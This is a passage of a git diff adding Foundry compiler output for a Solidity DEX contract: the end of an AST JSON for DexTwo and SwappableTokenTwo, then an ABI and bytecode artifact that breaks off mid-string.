SwappableTokenTwo)"}},"id":51188,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1346:25:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}},"id":51189,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1372:7:69","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":51280,"src":"1346:33:69","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256) external"}},"id":51194,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1346:62:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51195,"nodeType":"ExpressionStatement","src":"1346:62:69"},{"expression":{"arguments":[{"expression":{"id":51200,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1452:3:69","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51201,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1456:6:69","memberName":"sender","nodeType":"MemberAccess","src":"1452:10:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51202,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51181,"src":"1464:7:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51203,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51183,"src":"1473:6:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":51197,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51030,"src":"1436:6:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51196,"name":"SwappableTokenTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51281,"src":"1418:17:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_SwappableTokenTwo_$51281_$","typeString":"type(contract SwappableTokenTwo)"}},"id":51198,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1418:25:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwappableTokenTwo_$51281","typeString":"contract SwappableTokenTwo"}},"id":51199,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1444:7:69","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":51280,"src":"1418:33:69","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256) external"}},"id":51204,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1418:62:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51205,"nodeType":"ExpressionStatement","src":"1418:62:69"}]},"functionSelector":"095ea7b3","implemented":true,"kind":"function","modifiers":[],"name":"approve","nameLocation":"1288:7:69","parameters":{"id":51184,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51181,"mutability":"mutable","name":"spender","nameLocation":"1304:7:69","nodeType":"VariableDeclaration","scope":51207,"src":"1296:15:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51180,"name":"address","nodeType":"ElementaryTypeName","src":"1296:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51183,"mutability":"mutable","name":"amount","nameLocation":"1321:6:69","nodeType":"VariableDeclaration","scope":51207,"src":"1313:14:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51182,"name":"uint256","nodeType":"ElementaryTypeName","src":"1313:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1295:33:69"},"returnParameters":{"id":51185,"nodeType":"ParameterList","parameters":[],"src":"1336:0:69"},"scope":51225,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51224,"nodeType":"FunctionDefinition","src":"1493:137:69","nodes":[],"body":{"id":51223,"nodeType":"Block","src":"1574:56:69","nodes":[],"statements":[{"expression":{"arguments":[{"id":51220,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51211,"src":"1615:7:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"arguments":[{"id":51217,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51209,"src":"1598:5:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51216,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1591:6:69","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51218,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1591:13:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51219,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1605:9:69","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1591:23:69","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51221,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1591:32:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":51215,"id":51222,"nodeType":"Return","src":"1584:39:69"}]},"functionSelector":"f7888aec","implemented":true,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"1502:9:69","parameters":{"id":51212,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51209,"mutability":"mutable","name":"token","nameLocation":"1520:5:69","nodeType":"VariableDeclaration","scope":51224,"src":"1512:13:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51208,"name":"address","nodeType":"ElementaryTypeName","src":"1512:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51211,"mutability":"mutable","name":"account","nameLocation":"1535:7:69","nodeType":"VariableDeclaration","scope":51224,"src":"1527:15:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51210,"name":"address","nodeType":"ElementaryTypeName","src":"1527:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1511:32:69"},"returnParameters":{"id":51215,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51214,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51224,"src":"1565:7:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51213,"name":"uint256","nodeType":"ElementaryTypeName","src":"1565:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1564:9:69"},"scope":51225,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":51025,"name":"Ownable","nameLocations":["249:7:69"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"249:7:69"},"id":51026,"nodeType":"InheritanceSpecifier","src":"249:7:69"}],"canonicalName":"DexTwo","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51225,46700,48281],"name":"DexTwo","nameLocation":"239:6:69","scope":51282,"usedErrors":[],"usedEvents":[46601]},{"id":51281,"nodeType":"ContractDefinition","src":"1634:462:69","nodes":[{"id":51229,"nodeType":"VariableDeclaration","src":"1676:20:69","nodes":[],"constant":false,"mutability":"mutable","name":"_dex","nameLocation":"1692:4:69","scope":51281,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51228,"name":"address","nodeType":"ElementaryTypeName","src":"1676:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"private"},{"id":51255,"nodeType":"FunctionDefinition","src":"1703:207:69","nodes":[],"body":{"id":51254,"nodeType":"Block","src":"1833:77:69","nodes":[],"statements":[{"expression":{"arguments":[{"expression":{"id":51245,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1849:3:69","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51246,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1853:6:69","memberName":"sender","nodeType":"MemberAccess","src":"1849:10:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51247,"name":"initialSupply","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51237,"src":"1861:13:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51244,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"1843:5:69","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":51248,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1843:32:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51249,"nodeType":"ExpressionStatement","src":"1843:32:69"},{"expression":{"id":51252,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51250,"name":"_dex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51229,"src":"1885:4:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51251,"name":"dexInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51231,"src":"1892:11:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1885:18:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51253,"nodeType":"ExpressionStatement","src":"1885:18:69"}]},"implemented":true,"kind":"constructor","modifiers":[{"arguments":[{"id":51240,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51233,"src":"1815:4:69","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":51241,"name":"symbol","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51235,"src":"1821:6:69","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"id":51242,"kind":"baseConstructorSpecifier","modifierName":{"id":51239,"name":"ERC20","nameLocations":["1809:5:69"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"1809:5:69"},"nodeType":"ModifierInvocation","src":"1809:19:69"}],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51238,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51231,"mutability":"mutable","name":"dexInstance","nameLocation":"1723:11:69","nodeType":"VariableDeclaration","scope":51255,"src":"1715:19:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51230,"name":"address","nodeType":"ElementaryTypeName","src":"1715:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51233,"mutability":"mutable","name":"name","nameLocation":"1750:4:69","nodeType":"VariableDeclaration","scope":51255,"src":"1736:18:69","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":51232,"name":"string","nodeType":"ElementaryTypeName","src":"1736:6:69","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":51235,"mutability":"mutable","name":"symbol","nameLocation":"1770:6:69","nodeType":"VariableDeclaration","scope":51255,"src":"1756:20:69","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":51234,"name":"string","nodeType":"ElementaryTypeName","src":"1756:6:69","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":51237,"mutability":"mutable","name":"initialSupply","nameLocation":"1786:13:69","nodeType":"VariableDeclaration","scope":51255,"src":"1778:21:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51236,"name":"uint256","nodeType":"ElementaryTypeName","src":"1778:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1714:86:69"},"returnParameters":{"id":51243,"nodeType":"ParameterList","parameters":[],"src":"1833:0:69"},"scope":51281,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51280,"nodeType":"FunctionDefinition","src":"1916:178:69","nodes":[],"body":{"id":51279,"nodeType":"Block","src":"1988:106:69","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51267,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":51265,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51257,"src":"2006:5:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":51266,"name":"_dex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51229,"src":"2015:4:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2006:13:69","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"496e76616c6964417070726f766572","id":51268,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2021:17:69","typeDescriptions":{"typeIdentifier":"t_stringliteral_eb338f77770f4bebf08768ff981451eae87c07fdb0e2d78a2d7eae754baa53ce","typeString":"literal_string \"InvalidApprover\""},"value":"InvalidApprover"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_eb338f77770f4bebf08768ff981451eae87c07fdb0e2d78a2d7eae754baa53ce","typeString":"literal_string \"InvalidApprover\""}],"id":51264,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1998:7:69","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51269,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1998:41:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51270,"nodeType":"ExpressionStatement","src":"1998:41:69"},{"expression":{"arguments":[{"id":51274,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51257,"src":"2064:5:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51275,"name":"spender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51259,"src":"2071:7:69","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51276,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51261,"src":"2080:6:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":51271,"name":"super","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-25,"src":"2049:5:69","typeDescriptions":{"typeIdentifier":"t_type$_t_super$_SwappableTokenTwo_$51281_$","typeString":"type(contract super SwappableTokenTwo)"}},"id":51273,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2055:8:69","memberName":"_approve","nodeType":"MemberAccess","referencedDeclaration":47795,"src":"2049:14:69","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,address,uint256)"}},"id":51277,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2049:38:69","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51278,"nodeType":"ExpressionStatement","src":"2049:38:69"}]},"functionSelector":"e1f21c67","implemented":true,"kind":"function","modifiers":[],"name":"approve","nameLocation":"1925:7:69","parameters":{"id":51262,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51257,"mutability":"mutable","name":"owner","nameLocation":"1941:5:69","nodeType":"VariableDeclaration","scope":51280,"src":"1933:13:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51256,"name":"address","nodeType":"ElementaryTypeName","src":"1933:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51259,"mutability":"mutable","name":"spender","nameLocation":"1956:7:69","nodeType":"VariableDeclaration","scope":51280,"src":"1948:15:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51258,"name":"address","nodeType":"ElementaryTypeName","src":"1948:7:69","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51261,"mutability":"mutable","name":"amount","nameLocation":"1973:6:69","nodeType":"VariableDeclaration","scope":51280,"src":"1965:14:69","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51260,"name":"uint256","nodeType":"ElementaryTypeName","src":"1965:7:69","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1932:48:69"},"returnParameters":{"id":51263,"nodeType":"ParameterList","parameters":[],"src":"1988:0:69"},"scope":51281,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":51226,"name":"ERC20","nameLocations":["1664:5:69"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"1664:5:69"},"id":51227,"nodeType":"InheritanceSpecifier","src":"1664:5:69"}],"canonicalName":"SwappableTokenTwo","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51281,47861,47964,47939,48281],"name":"SwappableTokenTwo","nameLocation":"1643:17:69","scope":51282,"usedErrors":[],"usedEvents":[47873,47882]}],"license":"MIT"},"id":69} \ No newline at end of file diff --git a/contracts/out/DexTwo.sol/SwappableTokenTwo.json b/contracts/out/DexTwo.sol/SwappableTokenTwo.json new file mode 100644 index 000000000..c981f7230 --- /dev/null +++ b/contracts/out/DexTwo.sol/SwappableTokenTwo.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"dexInstance","type":"address","internalType":"address"},{"name":"name","type":"string","internalType":"string"},{"name":"symbol","type":"string","internalType":"string"},{"name":"initialSupply","type":"uint256","internalType":"uint256"}],"stateMutability":"nonpayable"},{"type":"function","name":"allowance","inputs":[{"name":"owner","type":"address","internalType":"address"},{"name":"spender","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"approve","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"approve","inputs":[{"name":"owner","type":"address","internalType":"address"},{"name":"spender","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"balanceOf","inputs":[{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint8","internalType":"uint8"}],"stateMutability":"view"},{"type":"function","name":"decreaseAllowance","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"subtractedValue","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"increaseAllowance","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"addedValue","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"transfer","inputs":[{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"transferFrom","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true,"internalType":"address"},{"name":"spender","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"name":"from","type":"address","indexed":true,"internalType":"address"},{"name":"to","type":"address","indexed":true,"internalType":"address"},{"name":"value","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801562000010575f80fd5b5060405162000e3338038062000e3383398101604081905262000033916200023c565b8282600362000043838262000351565b50600462000052828262000351565b5050506200006733826200009160201b60201c565b5050600580546001600160a01b0319166001600160a01b0393909316929092179091555062000443565b6001600160a01b038216620000ec5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620000ff91906200041d565b90915550506001600160a01b0382165f90815260208190526040812080548392906200012d9084906200041d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126200019f575f80fd5b81516001600160401b0380821115620001bc57620001bc6200017b565b604051601f8301601f19908116603f01168101908282118183101715620001e757620001e76200017b565b816040528381526020925086602085880101111562000204575f80fd5b5f91505b8382101562000227578582018301518183018401529082019062000208565b5f602085830101528094505050505092915050565b5f805f806080858703121562000250575f80fd5b84516001600160a01b038116811462000267575f80fd5b60208601519094506001600160401b038082111562000284575f80fd5b62000292888389016200018f565b94506040870151915080821115620002a8575f80fd5b50620002b7878288016200018f565b606096909601519497939650505050565b600181811c90821680620002dd57607f821691505b602082108103620002fc57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200017657805f5260205f20601f840160051c81016020851015620003295750805b601f840160051c820191505b818110156200034a575f815560010162000335565b5050505050565b81516001600160401b038111156200036d576200036d6200017b565b62000385816200037e8454620002c8565b8462000302565b602080601f831160018114620003bb575f8415620003a35750858301515b5f19600386901b1c1916600185901b17855562000415565b5f85815260208120601f198616915b82811015620003eb57888601518255948401946001909101908401620003ca565b50858210156200040957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200043d57634e487b7160e01b5f52601160045260245ffd5b92915050565b6109e280620004515f395ff3fe608060405234801561000f575f80fd5b50600436106100cf575f3560e01c806370a082311161007d578063a9059cbb11610058578063a9059cbb1461019e578063dd62ed3e146101b1578063e1f21c67146101e9575f80fd5b806370a082311461015b57806395d89b4114610183578063a457c2d71461018b575f80fd5b806323b872dd116100ad57806323b872dd14610126578063313ce567146101395780633950935114610148575f80fd5b806306fdde03146100d3578063095ea7b3146100f157806318160ddd14610114575b5f80fd5b6100db6101fe565b6040516100e8919061083c565b60405180910390f35b6101046100ff3660046108a3565b61028e565b60405190151581526020016100e8565b6002545b6040519081526020016100e8565b6101046101343660046108cb565b6102a7565b604051601281526020016100e8565b6101046101563660046108a3565b6102ca565b610118610169366004610904565b6001600160a01b03165f9081526020819052604090205490565b6100db610308565b6101046101993660046108a3565b610317565b6101046101ac3660046108a3565b6103c5565b6101186101bf366004610924565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101fc6101f73660046108cb565b6103d2565b005b60606003805461020d90610955565b80601f016020809104026020016040519081016040528092919081815260200182805461023990610955565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f3361029b818585610440565b60019150505b92915050565b5f336102b4858285610597565b6102bf858585610627565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061029b908290869061030390879061098d565b610440565b60606004805461020d90610955565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102bf8286868403610440565b5f3361029b818585610627565b6005546001600160a01b03908116908416036104305760405162461bcd60e51b815260206004820152600f60248201527f496e76616c6964417070726f766572000000000000000000000000000000000060448201526064016103af565b61043b838383610440565b505050565b6001600160a01b0383166104bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0382166105375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062157818110156106145760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103af565b6106218484848403610440565b50505050565b6001600160a01b0383166106a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b03821661071f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0383165f90815260208190526040902054818110156107ad5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e390849061098d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082f91815260200190565b60405180910390a3610621565b5f602080835283518060208501525f5b818110156108685785810183015185820160400152820161084c565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461089e575f80fd5b919050565b5f80604083850312156108b4575f80fd5b6108bd83610888565b946020939093013593505050565b5f805f606084860312156108dd575f80fd5b6108e684610888565b92506108f460208501610888565b9150604084013590509250925092565b5f60208284031215610914575f80fd5b61091d82610888565b9392505050565b5f8060408385031215610935575f80fd5b61093e83610888565b915061094c60208401610888565b90509250929050565b600181811c9082168061096957607f821691505b60208210810361098757634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102a157634e487b7160e01b5f52601160045260245ffdfea2646970667358221220e